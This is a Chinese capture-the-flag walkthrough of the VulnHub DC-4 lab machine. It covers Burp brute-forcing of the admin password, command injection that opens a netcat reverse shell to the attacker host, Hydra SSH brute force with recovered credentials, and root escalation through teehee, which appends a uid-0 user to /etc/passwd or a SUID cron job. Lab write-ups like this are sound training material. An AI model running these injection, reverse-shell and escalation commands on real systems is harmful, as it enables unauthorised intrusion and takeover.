0x00 前提
DC-4地址:https://www.vulnhub.com/entry/dc-4,313/
DC-4官wp:https://blog.mzfr.me/vulnhub-writeups/2019-07-11-DC4
- 正常导入
0x01 抓包爆破登陆密码
-
查询确定kali的ip仍为172.20.10.3,nmap扫描:
nmap -a 172.20.10.0/24
,发现dc-4(172.20.10.4)开放22和80端口。
-
访问网页,没有使用CMS(无法利用已知CMS相关工具),且看起来需要admin账户登陆。
-
为firefox设置代理:在firefox下载插件Proxy SwitchyOmega。在弹出来的设置界面中,将示例网址换成127.0.0.1。
-
在应用程序→03 web程序→BurpSuite,打开它,常规创建。在firefox开启代理,刷新dc4界面,获得包。
-
在网页输入admin,随意输入密码qwer1234,抓包如下,可以看到POST表单的用户和密码。
-
右键send to intruder,在Position处先点击clean清除默认选择(“admin"和"qwer1234”),仅拖选密码“qwer1234”
-
点击payload,load添加John字典(路径为/usr/share/john/password.lst)。
-
右上角点击start attack,等待一定时间后,选择length栏,多点几下,调成按由大到小排列,如果出现一个不同的、更大的length值,对应的爆破密码即为admin密码。此处跑出来是happy。
-
回到firefox,关闭代理,用admin-happy登陆,得到一个命令使用界面。
0x02 反弹shell
-
点进command,发现只能使用列出的三个指令。
-
再次开启代理,使用burpsuite拦截观察,右键发送给repeater。
-
在kali终端开启7777端口监听:
nc -lvvp 7777
。
-
修改radio参数:
nc+-nv+172.20.10.3+7777+-e+/bin/bash
,利用netcat反弹shell,点击send执行
-
kali终端连接成功,利用python进入交互模式:
python -c "import pty; pty.spawn('/bin/bash')"
。
0x03 ssh登陆爆破
-
进入/home目录后,查看到三个用户,分别ls查看,发现只有jim目录下存在一个脚本test.sh、一个mbox文件,一个backups目录。
-
test.sh脚本内容如下,感觉没什么作用。
-
打开backups文件夹,发现一个密码本,查看。
-
在dc4的该目录下开放8899端口:
python -m SimpleHTTPServer 8899
,网页验证文件路径。
-
在kali中获取该密码本:
wget 172.20.10.4:8899/old-passwords.bak
。
-
重命名old-password.bak为dc4passwd.txt,同目录下创建dc4user.txt,写入刚才获取的三个用户名:charles、jim、sam。
-
因为dc4开放22端口ssh服务,使用hydra爆破:
hydra -L dc4user.txt -P dc4passwd.txt ssh://172.20.10.4
,获得用户名jim、密码jibril04。
-
ssh登陆:
ssh jim@172.20.10.4
,提示我有一封邮件。
-
查看jim目录下的mbox如下,这封邮件主题是test,很明显不是提示内容。
-
前往/var/mail路径,查看jim文件,找到charles发送的密码。
-
再次使用ssh登陆Charles用户:
ssh charles@172.20.10.4
,密码:^xHhA&hvim0y。登陆成功。
0x04 teehee提权
-
使用
sudo -l
查看Charles的root权限指令,发现只有teehee,使用teehee --help
查看指令帮助。
-
观察teehee指令的用法,感觉和tee指令类似。
tee指令介绍:https://www.runoob.com/linux/linux-comm-tee.html
-
使用teehee命令将一个无密码用户nikris写入到/etc/passwd文件,并加入到root组中:
echo "nikris::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
//参数解释: //[nikris::0:0:::/bin/bash]=[用户名:密码:用户ID:组ID:用户全名:主目录:登录shell] //格式参考:https://www.cnblogs.com/sddai/p/10616182.html 用户名:nikris 密码保护:空 uid:0(root权限) 用户信息记录位置:0(无) home目录:空 登录的命令解释器:/bin/bash
-
添加成功并查看后三行:
tail -n 3 /etc/passwd
。
-
切换到nikris用户,进入/root,找到flag.txt,成功。
-
或者,使用teehee命令向“/etc/crontab”文件添加定时任务,该任务每分钟执行一次,给“/bin/sh”赋予SUID权限,即更改为4777:
echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab
,同样获取flag。定时任务(cron job)被用于安排那些需要被周期性执行的命令。cron 服务(守护进程)在系统后台运行,并且会持续地检查 /etc/crontab 文件和 /etc/cron.*/ 目录。它同样也会检查 /var/spool/cron/目录。可以通过查看
/etc/crontab
了解用法: